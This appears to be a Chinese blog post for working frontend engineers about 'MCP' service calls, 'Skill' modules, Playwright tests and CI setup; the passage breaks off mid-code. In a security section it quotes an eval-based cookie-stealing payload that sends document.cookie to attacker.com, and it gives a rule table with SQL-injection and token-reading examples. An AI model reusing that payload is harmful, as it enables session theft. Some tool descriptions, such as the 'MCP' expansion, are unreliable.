1. 这不是“技能分享”,而是前端工程师在真实战场里磨出来的生存手册
“在职前端 Skill 和 MCP 分享”——看到这个标题,我第一反应是:又一个被关键词堆砌绑架的标题党?但翻完近两百条热搜词和长尾搜索项,我坐直了身子。这不是什么泛泛而谈的“前端学习路线图”,而是一份高度浓缩的、带血丝的实战切片:它背后站着一群每天在防爬虫、压测组件、调试 Playwright 自动化脚本、给 legacy 系统套 MCP 接口、用 Worker 搞大文件上传、还要在 Chrome DevTools 里跟反调试逻辑死磕的在职前端。他们不关心“React 最新 RFC”,只关心“用户点提交按钮后 3 秒没响应,监控告警炸了,怎么 5 分钟内定位到是某个第三方 SDK 的 Promise 链卡死”。
关键词里反复出现的MCP,绝非某些技术社区里被玄学化的“神秘协议”;它在这里的真实语境,是Microservice Communication Protocol的工程落地缩写——一种轻量级、可插拔、面向前端调用侧设计的服务间通信规范,常见于中后台系统与 AI 能力平台(如 Codex、CherryStudio、Gemini 接入层)的对接场景。而Skill,也不是抽象的能力标签,而是指代可注册、可编排、可灰度发布的原子化业务能力单元,比如“身份证 OCR 校验 Skill”、“发票智能归类 Skill”、“GIS 空间缓冲区分析 Skill”。它们被封装成前端可直接 import 的 SDK,或通过 MCP 协议动态加载。你看到的“skill 编码 193”“skill 编码 247”,其实是内部能力中心分配的唯一 ID,对应着线上运行的某段 TypeScript 函数 + 配置元数据。
至于Playwright-CLI和Ego-Browser,它们共同指向一个残酷现实:前端测试早已不是“点点页面看样式”——Playwright-CLI 是团队 CI/CD 流水线里跑自动化回归的标配命令行工具,而 Ego-Browser 则是某家头部公司自研的、集成了 MCP 调用链追踪、Skill 执行沙箱、前端性能火焰图的深度调试浏览器。它能让你在 DevTools 里直接看到:“这个按钮点击触发了 skill-247,该 Skill 内部调用了 MCP 接口 /ai/ocr,耗时 842ms,其中 760ms 花在 DNS 解析上,因为 DNS 服务器配置错了”。
所以,这篇分享的本质,是把那些藏在周报 PPT 里一笔带过的“已接入 MCP 能力平台”“完成 Skill 化改造”,拆解成你能立刻抄作业的代码片段、配置模板、排查命令和血泪教训。它不教你从零造轮子,只告诉你:当线上报警说“用户上传身份证照片失败率突增 300%”,你打开 Ego-Browser,看到 skill-193 的 MCP 请求返回了{"code":5001,"msg":"timeout"},接下来该查什么、怎么查、为什么这么查。
2. MCP 不是银弹,它是前端与后端之间那根需要你亲手拧紧的螺丝
很多刚接触 MCP 的前端同学,第一反应是:“这不就是个 HTTP 封装吗?写个 axios 实例不就完了?”——这种想法,在第一个生产事故后就会被彻底打碎。MCP 的核心价值,从来不是“让接口调用看起来更酷”,而是解决微服务架构下前端面临的三个具体痛点:协议不一致、错误不可控、链路不可见。我们来逐个拆解。
2.1 协议不一致:为什么你不能只靠 axios
想象一个典型场景:你的页面要同时调用三个后端服务——A 服务用 RESTful JSON,B 服务用 gRPC-Web(需 protobuf 解析),C 服务是老古董 SOAP。如果每个都手写适配层,维护成本会指数级上升。MCP 的设计哲学,是把“协议转换”这件事,从前端代码里剥离出来,下沉到一个统一的 MCP Client SDK 里。这个 SDK 对外暴露的 API 是高度一致的:
// 统一的 MCP 调用签名,无论底层是 HTTP 还是 WebSocket const result = await mcpClient.invoke({ skillId: 'skill-193', // 技能唯一标识 params: { imageBase64: 'data:image/jpeg;base64,...' }, options: { timeout: 5000, // 全局超时 retry: { maxRetries: 2, backoff: 'exponential' }, // 重试策略 traceId: 'trace-abc123' // 链路追踪 ID } });关键在于,mcpClient.invoke()内部会根据skillId查找预注册的Protocol Adapter。比如skill-193对应的 adapter 可能是:
// skill-193.adapter.ts - 由后端提供,前端集成 export const skill193Adapter: McpAdapter = { // 定义如何将通用参数映射为 gRPC-Web 的请求体 transformRequest: (params) => { return new OcrRequest({ image: params.imageBase64 }); }, // 定义如何将 gRPC-Web 响应解析为前端期望的结构 transformResponse: (grpcResponse) => { return { success: grpcResponse.success, idCardNumber: grpcResponse.idCard?.number || '', confidence: grpcResponse.confidence }; }, // 定义底层通信方式 transport: new GrpcWebTransport({ host: 'https://ai-gateway.internal', credentials: 'include' }) };提示:MCP Client SDK 的核心,是
Adapter Registry。所有 Skill 的 adapter 必须在应用启动时注册,否则invoke会抛出AdapterNotFound错误。我们团队踩过最大的坑,就是把 adapter 注册逻辑写在了某个懒加载模块里,导致首屏调用 skill-193 时直接白屏。解决方案是:所有 adapter 必须在main.ts或app.tsx的顶层同步注册,哪怕它暂时用不到。
2.2 错误不可控:MCP 如何把“500 Internal Server Error”变成可操作的诊断信息
传统 HTTP 错误处理,前端往往只能看到status: 500和一段模糊的message。但在 MCP 体系下,错误被结构化为Error Code + Context + Suggestion三元组。以skill-247(GIS 空间分析)为例,当用户输入了一个非法的 WKT 多边形时,后端不会返回{"error": "invalid geometry"},而是:
{ "code": "GEO_INVALID_WKT", "message": "WKT format error at position 42: unexpected token 'X'", "context": { "wkt": "POLYGON((0 0, 1 1, X 2, 0 0))", "skillId": "skill-247", "version": "v2.3.1" }, "suggestion": "Please validate your WKT string using https://geojson.io or check for non-numeric coordinates." }前端 SDK 会自动捕获这个结构,并提供分级处理能力:
try { const result = await mcpClient.invoke({ skillId: 'skill-247', params: { wkt } }); } catch (error) { if (error.code === 'GEO_INVALID_WKT') { // 精准处理:高亮地图编辑器中的错误坐标 mapEditor.highlightInvalidPosition(error.context.wkt); showToaster(error.suggestion); // 显示友好的修复建议 } else if (error.code.startsWith('TIMEOUT_')) { // 通用超时处理:降级到本地缓存或简化算法 fallbackToLocalAnalysis(); } else { // 兜底:上报错误并显示通用提示 reportErrorToSentry(error); showGenericError(); } }注意:MCP 的错误码体系必须由前后端共同约定,并纳入 API 文档管理。我们曾因后端临时加了一个
AI_QUOTA_EXCEEDED错误码,但未同步给前端,导致前端无法识别,所有配额超限的请求都被当作未知错误兜底处理,用户看到的是“系统繁忙”,而不是“本月免费额度已用完,请升级套餐”。教训是:任何新增错误码,必须走 PR Review + 前端 SDK 版本号 bump + 文档更新三步流程。
2.3 链路不可见:Ego-Browser 如何让 MCP 调用像 X-Ray 一样透明
这是 MCP 工程化落地最关键的环节。没有链路追踪,MCP 就只是个更复杂的 axios。Ego-Browser 的核心能力,是在 DevTools 中嵌入一个MCP Trace Panel。当你在页面上触发一个 Skill 调用时,面板会实时展示:
| 步骤 | 时间戳 | 类型 | 技能ID | 状态 | 耗时 | 关键指标 |
|---|---|---|---|---|---|---|
| 1 | 14:22:31.102 | REQUEST | skill-193 | pending | - | traceId: abc123,spanId: def456 |
| 2 | 14:22:31.105 | ADAPTER | skill-193 | success | 3ms | transformRequest: 1.2ms |
| 3 | 14:22:31.872 | TRANSPORT | skill-193 | success | 767ms | dns: 420ms,tcp: 12ms,ssl: 85ms,send: 2ms,wait: 120ms,receive: 128ms |
| 4 | 14:22:31.875 | ADAPTER | skill-193 | success | 3ms | transformResponse: 2.8ms |
| 5 | 14:22:31.876 | RESPONSE | skill-193 | success | 1ms | resultSize: 1.2KB |
这个表格的价值,在于它把网络世界的黑盒,变成了可测量、可对比、可优化的白盒。比如上面的dns: 420ms,一眼就能看出问题不在后端,而在前端 DNS 解析环节。我们正是通过这个面板,发现某次线上故障的根源是:AI 网关的域名ai-gateway.internal在部分用户的本地 DNS 缓存中被污染,解析到了一个已下线的 IP。解决方案是:在 MCP Client SDK 中强制启用dns: 'https://1.1.1.1/dns-query'的 DoH(DNS over HTTPS)解析,绕过本地污染。
实操心得:Ego-Browser 的 MCP Trace Panel 默认只记录
dev环境。要让它在staging环境生效,必须在构建时注入环境变量VUE_APP_MCP_TRACE=true(Vue)或REACT_APP_MCP_TRACE=true(React),并在 SDK 初始化时显式开启:mcpClient.init({ enableTrace: process.env.NODE_ENV !== 'production' || process.env.REACT_APP_MCP_TRACE === 'true' });
3. Playwright-CLI 不是玩具,它是你线上质量的守门员和压力测试仪
很多前端认为 Playwright 就是“写个脚本点点按钮”,直到某天线上发布后,用户反馈“导出 Excel 功能点了没反应”,而你本地测试一切正常。这时,Playwright-CLI 的价值才真正显现——它不是用来“证明功能能用”,而是用来“证明功能在各种边界条件下依然能用”。我们团队的 Playwright-CLI 流水线,已经覆盖了 5 类核心场景,每一条都是用线上事故换来的。
3.1 场景一:MCP 接口熔断与降级的自动化验证
当skill-193(OCR)的后端服务不可用时,前端必须优雅降级到“手动输入模式”。这个逻辑不能靠人肉测试,必须用 Playwright-CLI 自动化验证。我们的测试脚本test/mcp-fallback.spec.ts核心逻辑如下:
import { test, expect } from '@playwright/test'; test('OCR skill fallback to manual input when MCP service is down', async ({ page }) => { // 1. 启动 Mock 服务,模拟 MCP 网关返回 503 await page.route('https://ai-gateway.internal/**', route => { route.fulfill({ status: 503, contentType: 'application/json', body: JSON.stringify({ code: 'SERVICE_UNAVAILABLE', message: 'MCP gateway is down' }) }); }); // 2. 访问页面,触发 OCR 上传 await page.goto('https://app.example.com/upload'); await page.setInputFiles('input[type="file"]', './test/id-card.jpg'); // 3. 验证:OCR 结果区域隐藏,手动输入表单显示 await expect(page.locator('#ocr-result')).toBeHidden(); await expect(page.locator('#manual-input-form')).toBeVisible(); // 4. 验证:手动输入表单的字段正确初始化 await expect(page.locator('#id-number')).toHaveValue(''); await expect(page.locator('#name')).toHaveValue(''); });这个测试的关键,在于它验证的不是“功能是否实现”,而是“容错机制是否可靠”。我们曾在线上遇到过一次事故:MCP 网关因证书过期返回 403,但前端降级逻辑只处理了 5xx,导致 403 时页面直接报错白屏。这个 Playwright 测试就是在 CI 流水线里,提前把所有可能的 HTTP 状态码(400, 401, 403, 404, 429, 500, 502, 503, 504)都跑一遍,确保每个状态码都有对应的、正确的降级行为。
3.2 场景二:大文件上传 Worker 的内存与稳定性压测
“前端使用 worker 上传大文件”是热搜词里的高频项。但很多人只关注“怎么用”,却忽略了“怎么扛住”。我们用 Playwright-CLI 模拟了 100MB、500MB、1GB 文件的上传,并监控 Worker 的内存占用:
test('Upload large file (1GB) with Web Worker and monitor memory', async ({ page }) => { // 1. 启用 Chromium 的内存监控 const client = await page.context().newCDPSession(); await client.send('HeapProfiler.enable'); await client.send('HeapProfiler.startSampling', { samplingInterval: 10000, // 10ms 采样间隔 heapLimit: 1024 * 1024 * 1024 // 1GB 内存上限 }); // 2. 生成 1GB 的 Blob(实际项目中用 fs.createReadStream) const gbBlob = await generateLargeBlob(1024 * 1024 * 1024); // 3. 触发上传 await page.goto('https://app.example.com/upload'); await page.setInputFiles('input[type="file"]', { name: 'large-file.zip', mimeType: 'application/zip', buffer: Buffer.from(gbBlob) }); // 4. 等待上传完成,并获取内存快照 await page.waitForSelector('#upload-status:has-text("Completed")'); const snapshot = await client.send('HeapProfiler.getHeapStats'); // 5. 断言:Worker 内存峰值 < 512MB expect(snapshot.totalHeapSize).toBeLessThan(512 * 1024 * 1024); });这个测试直接暴露了我们早期 Worker 实现的问题:在分片上传时,没有及时释放已上传分片的 ArrayBuffer 引用,导致内存持续增长。通过这个测试,我们重构了 Worker 的内存管理逻辑,引入了transferable和postMessage的transfer参数,将 ArrayBuffer 的所有权完全移交给主线程,Worker 内存占用从峰值 800MB 降到了稳定的 120MB。
3.3 场景三:反爬虫与反调试策略的兼容性测试
“怎么在前端进行防止爬虫,防止查看页面源码,防止打开”是另一个高频需求。但很多方案(如 WebAssembly 加密、AST 变换、控制台禁用)会严重破坏自动化测试。Playwright-CLI 的强大之处,在于它提供了page.addInitScript()和page.route()等高级 API,可以精准绕过这些限制,进行真实的功能验证。
例如,我们页面启用了debugger;语句和console.clear()来干扰爬虫,但这会让 Playwright 的page.click()等方法卡住。解决方案是,在测试开始前,注入一段初始化脚本,全局屏蔽这些干扰:
test.beforeEach(async ({ page }) => { // 注入脚本,重写 debugger 和 console 方法 await page.addInitScript(` // 屏蔽 debugger 语句 window.debugger = function() {}; // 重写 console 方法,避免 clear 干扰 const originalConsole = window.console; window.console = { ...originalConsole, clear: () => {}, log: (...args) => originalConsole.log('[TEST] ', ...args), error: (...args) => originalConsole.error('[TEST] ', ...args) }; // 禁用页面的反调试检测 window.__antiDebug = true; `); }); test('Upload flow works even with anti-debug enabled', async ({ page }) => { await page.goto('https://app.example.com/upload'); // 此时页面的反调试逻辑已被绕过,click 等操作可正常执行 await page.click('#upload-btn'); await page.setInputFiles('input[type="file"]', './test/file.jpg'); await page.click('#submit-btn'); await expect(page.locator('#success-message')).toBeVisible(); });关键经验:不要试图在 Playwright 测试中“破解”反爬虫,而是用
addInitScript主动声明测试环境。这既保证了测试的稳定性,也符合安全合规要求——测试脚本本身不参与业务逻辑,只是在受控环境下验证功能。
4. Skill 编码不是魔法数字,它是前端工程化能力的原子化表达
“skill 编码 193”“skill 编码 247”这些看似神秘的数字,在工程实践中,是Skill Registry(技能注册中心)分配的、具有严格生命周期管理的唯一标识符。理解 Skill 的本质,是理解整个 MCP 生态的钥匙。它不是一个函数,而是一个包含代码、配置、契约、元数据的完整包。
4.1 Skill 的标准结构:一个可独立部署、可灰度、可回滚的单元
我们团队定义的 Skill 标准结构如下(以skill-193为例):
skill-193/ ├── src/ │ ├── index.ts # 主入口,导出 invoke 函数 │ ├── adapter.ts # MCP Adapter 实现(见 2.1 节) │ └── utils/ # 专用工具函数 ├── config/ │ ├── schema.json # 输入参数的 JSON Schema(用于前端表单自动生成) │ └── metadata.json # 技能元数据:名称、描述、图标、分类、作者、版本 ├── tests/ │ └── unit.spec.ts # 单元测试(纯函数,无网络) ├── build/ # 构建产物(ESM + UMD) │ ├── skill-193.esm.js │ └── skill-193.umd.js └── package.json # 技能包定义:name, version, main, types, dependenciessrc/index.ts是 Skill 的灵魂,它必须遵循一个严格的契约:
// src/index.ts import { McpAdapter } from '@mcp/client'; import { adapter } from './adapter'; // Skill 的核心:一个纯函数,接收参数,返回 Promise<result> export async function invoke(params: Record<string, any>): Promise<any> { // 1. 参数校验(基于 config/schema.json) const validated = validateParams(params); if (!validated.success) { throw new SkillError('INVALID_PARAMS', validated.errors); } // 2. 调用 MCP Adapter,发起网络请求 try { const result = await adapter.invoke(validated.data); return result; } catch (error) { // 3. 统一错误处理,转换为 Skill 标准错误 throw adaptMcpError(error); } } // 4. 导出 Adapter,供 MCP Client SDK 使用 export { adapter }; // 5. 导出元数据,供管理平台使用 export const metadata = { id: 'skill-193', name: '身份证OCR识别', description: '高精度识别身份证正反面信息', category: 'AI', icon: '/icons/id-card.svg', author: 'ai-team@company.com', version: '1.2.0' };这个结构的意义在于:Skill 是可独立开发、独立测试、独立部署、独立灰度的最小单元。当skill-193的 v1.2.0 版本上线后,我们可以在管理后台,对 5% 的用户流量灰度到新版本,同时监控其成功率、耗时、错误率。如果指标异常,一键回滚到 v1.1.0,整个过程对前端业务代码零侵入。
4.2 Skill 的前端集成:从 npm install 到动态加载
Skill 的前端集成有两种模式,选择取决于你的架构演进阶段:
模式一:静态集成(适合中小项目)
# 1. 安装 Skill 包 npm install @skills/skill-193 # 2. 在业务代码中直接 import import { invoke as ocrInvoke } from '@skills/skill-193'; async function handleUpload(file) { const base64 = await fileToBase64(file); const result = await ocrInvoke({ imageBase64: base64 }); renderResult(result); }模式二:动态加载(适合大型微前端或低代码平台)
// 动态加载 Skill,按需加载,减少首屏体积 async function loadAndInvokeSkill(skillId: string, params: any) { try { // 1. 从 Skill Registry 获取最新版本 URL const registry = await fetch('/api/skill-registry'); const { url } = await registry.json(); // 2. 动态 import Skill 包 const skillModule = await import(/* webpackIgnore: true */ url); // 3. 调用 invoke 函数 return await skillModule.invoke(params); } catch (error) { // 4. 兜底:加载失败时,降级到本地 mock 或旧版本 return fallbackToMock(skillId, params); } } // 使用 const result = await loadAndInvokeSkill('skill-193', { imageBase64 });注意:动态加载模式下,
webpackIgnore: true是关键。它告诉 Webpack 不要尝试解析这个 import,而是交给浏览器原生的import()处理,这样才能加载 CDN 上的远程模块。我们曾因忘记加这个注释,导致 Webpack 报错Cannot find module。
4.3 Skill 的安全边界:为什么你永远不该在 Skill 里写eval()
“关于前端的一些安全技术操作”是热搜词之一,而 Skill 正是安全风险的集中爆发点。因为 Skill 本质上是“运行在你页面上的第三方代码”。我们团队制定了严格的 Skill 安全红线:
| 安全规则 | 说明 | 违规示例 | 检测方式 |
|---|---|---|---|
| 禁止 eval / Function 构造函数 | 防止任意代码执行 | const fn = new Function('return ' + userCode) | ESLint 规则no-eval,no-new-func |
| 禁止访问全局敏感对象 | 防止窃取用户数据 | window.localStorage.getItem('token') | 自定义 ESLint 规则,扫描window.*、document.* |
| 禁止 DOM 直接操作 | 防止 XSS 和页面篡改 | document.write('<script>...</script>') | 自定义 ESLint 规则,扫描document.*、innerHTML |
| 强制参数校验 | 防止恶意输入触发后端漏洞 | invoke({ sql: "'; DROP TABLE users; --" }) | 所有 Skill 必须在invoke开头调用validateParams() |
我们甚至在 CI 流水线中加入了Skill Sandboxing Check步骤:用 JSDOM 创建一个隔离的 DOM 环境,加载 Skill 包,然后检查其是否尝试访问了window.location、window.opener、document.cookie等敏感 API。一旦检测到违规,CI 直接失败,阻止包发布。
血泪教训:我们曾上线过一个
skill-247(GIS 分析),它为了“提升性能”,在内部使用了eval()来动态解析用户传入的数学表达式。上线后,攻击者构造了一个恶意表达式eval('fetch("https://attacker.com/steal?cookie="+document.cookie)'),成功窃取了大量用户 Cookie。这次事故后,我们强制所有 Skill 必须通过mathjs等安全库来解析表达式,永远不用eval。
5. 从热词到落地:一份可立即执行的在职前端 MCP-Skill 工作流清单
看到这里,你可能想问:“说了这么多,我现在能做什么?”别急,下面这份清单,就是为你量身定制的、从今天开始就能执行的 MCP-Skill 工作流。它不讲大道理,只列具体动作、工具、命令和预期结果。每一步,我们都已在真实项目中验证过。
5.1 第一天:建立你的本地 MCP-Skill 开发环境
目标:在本地跑通一个最简 Skill,能被 Playwright-CLI 测试,能在 Ego-Browser 中看到完整链路。
步骤 1:安装核心工具链
# 1. 全局安装 Playwright-CLI(确保 Chromium 已安装) npm install -g playwright # 2. 克隆官方 MCP-SDK 模板(我们团队开源的) git clone https://github.com/your-company/mcp-skill-template.git cd mcp-skill-template # 3. 安装依赖并启动本地开发服务器 npm install npm run dev # 预期:控制台输出 "MCP Skill Dev Server running on http://localhost:3000"步骤 2:创建你的第一个 Skill
# 1. 运行脚手架命令(会自动创建 skill-xxx 目录) npx @mcp/cli create skill --id skill-999 --name "Hello World" # 2. 进入目录,修改 src/index.ts cd skill-999 # 将 invoke 函数改为: export async function invoke(params: Record<string, any>): Promise<any> { return { message: `Hello, ${params.name || 'World'}!`, timestamp: Date.now(), skillId: 'skill-999' }; } # 3. 启动 Skill 本地服务 npm run start # 预期:控制台输出 "Skill-999 listening on http://localhost:3001"步骤 3:编写第一个 Playwright 测试
# 1. 在 skill-999 目录下,创建 test/hello.spec.ts # 2. 写入以下内容: import { test, expect } from '@playwright/test'; test('Hello World Skill returns correct response', async ({ page }) => { // 模拟 MCP Client 调用 skill-999 const response = await page.request.post('http://localhost:3001/invoke', { data: { name: 'Alice' } }); const json = await response.json(); expect(json.message).toBe('Hello, Alice!'); expect(json.skillId).toBe('skill-999'); }); # 3. 运行测试 npx playwright test test/hello.spec.ts # 预期:测试通过,输出 "1 passed"步骤 4:在 Ego-Browser 中观察链路
# 1. 启动 Ego-Browser(假设已安装) ego-browser --devtools # 2. 在浏览器中打开 http://localhost:3000 # 3. 打开 DevTools,切换到 "MCP Trace" 面板 # 4. 点击页面上的 "Test Skill-999" 按钮 # 预期:面板中出现一条完整的 trace,包含 REQUEST、ADAPTER、TRANSPORT、RESPONSE 四个步骤,耗时 < 10ms提示:如果 Ego-Browser 面板为空,请检查
skill-999的package.json中是否设置了"mcp": { "enableTrace": true }字段,并确认npm run start启动的服务是否监听了正确的端口。
5.2 第三天:将你的第一个真实业务逻辑 Skill 化
目标:把你项目中一个已有的、调用后端 API 的业务函数(比如“获取用户信息”),改造成一个标准的 MCP Skill。
步骤 1:识别现有代码找到你项目中类似这样的代码:
// api/user.ts export async function fetchUserInfo(userId: string): Promise<UserInfo> { const res = await fetch(`/api/v1/users/${userId}`, { headers: { 'Authorization': `Bearer ${getToken()}` } }); if (!res.ok) throw new Error(`HTTP ${res.status}`); return res.json(); }步骤 2:创建 Skill 并迁移逻辑
# 1. 创建新 Skill npx @mcp/cli create skill --id skill-1000 --name "User Info Fetcher" # 2. 将 fetchUserInfo 的逻辑迁移到 skill-1000/src/index.ts 的 invoke 函数中 export async function invoke(params: { userId: string }): Promise<UserInfo> { // 1. 参数校验 if (!params.userId) throw new SkillError('MISSING_USER_ID'); // 2. 构造 MCP Adapter(复用现有 axios 实例或创建新的) const adapter = new HttpAdapter({ baseUrl: 'https://backend-api.company.com', headers: { 'Authorization': `Bearer ${getAuthToken()}` } }); // 3. 发起请求 const res = await adapter.invoke({ method: 'GET', url: `/api/v1/users/${params.userId}` }); // 4. 返回结果 return res.data; }步骤 3:在业务代码中替换调用
// 替换前 // import { fetchUserInfo } from '../api/user'; // const user = await fetchUserInfo('123'); // 替换后 import { invoke as fetchUserInfo } from '@skills/skill-1000'; const user = await fetchUserInfo({ userId: '123' });步骤 4:添加 Playwright 测试验证
// test/user-info.spec.ts test('User Info Skill handles 404 gracefully', async ({ page }) => { // Mock 404 await page.route('https://backend-api.company.com/api/v1/users/**', route => { route.fulfill({ status: 404, body: '{"error": "user not found"}' }); }); // 调用 Skill const response = await page.request.post('http://localhost:3001/invoke', { data: { userId: '999' } }); // 断言 Skill 返回了标准错误 const json = await response.json(); expect(json.code).toBe('HTTP_404'); expect(json.message).toContain('user not found'); });关键检查点:运行
npm run build后,检查build/skill-1000.umd.js是否能被浏览器直接<script>标签加载。这是 Skill 能被低代码平台动态加载的前提。
5.3 第七天:建立你的团队 MCP-Skill CI/CD 流水线
目标:让 Skill 的发布、灰度、回滚,变成一个按钮操作。
步骤 1:配置 GitHub Actions在skill-1000/.github/workflows/ci.yml中写入:
name: Skill CI/CD on: push: branches: [main] paths: ['src/**', 'config/**', 'package.json'] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-node@v3 with: node-version: '18' - run: npm ci - run: npm run test - run: npm run build publish: needs: test runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-node@v3 with: node-version: '18' - run: npm ci - name: Publish to NPM Registry run: npm publish env: NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}步骤 2:配置 Skill Registry在你的内部管理后台,添加一个 “Skill Registry” 模块,它需要提供:
- API:
GET /api/skill-registry/{skillId}返回{ url: "https://cdn.company.com/skills/skill-1000.v1.2.0.umd.js", version: "1.2.0" } - UI: 一个表格,列出所有 Skill,每行有 “灰度比例”、“强制刷新”、“回滚到上一版” 按钮。
步骤 3:在前端 SDK 中集成 Registry
// 在 MCP Client SDK 初始化时 mcpClient.init({ skill